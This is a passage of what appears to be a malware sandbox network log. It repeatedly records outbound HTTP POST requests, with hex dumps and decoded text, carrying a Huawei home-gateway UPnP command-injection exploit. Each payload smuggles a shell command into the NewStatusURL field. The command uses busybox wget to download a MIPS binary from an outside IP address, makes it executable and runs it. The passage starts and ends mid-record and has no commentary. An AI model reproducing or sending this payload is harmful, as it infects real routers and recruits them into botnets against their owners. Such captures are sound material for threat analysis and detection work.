20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:44.716521025 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:13.324609041 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.20	60974	156.247.23.75	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:19.760685921 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:21.256800890 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:23.052608013 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:26.644602060 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:33.836551905 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:48.204817057 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:16.972738028 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo 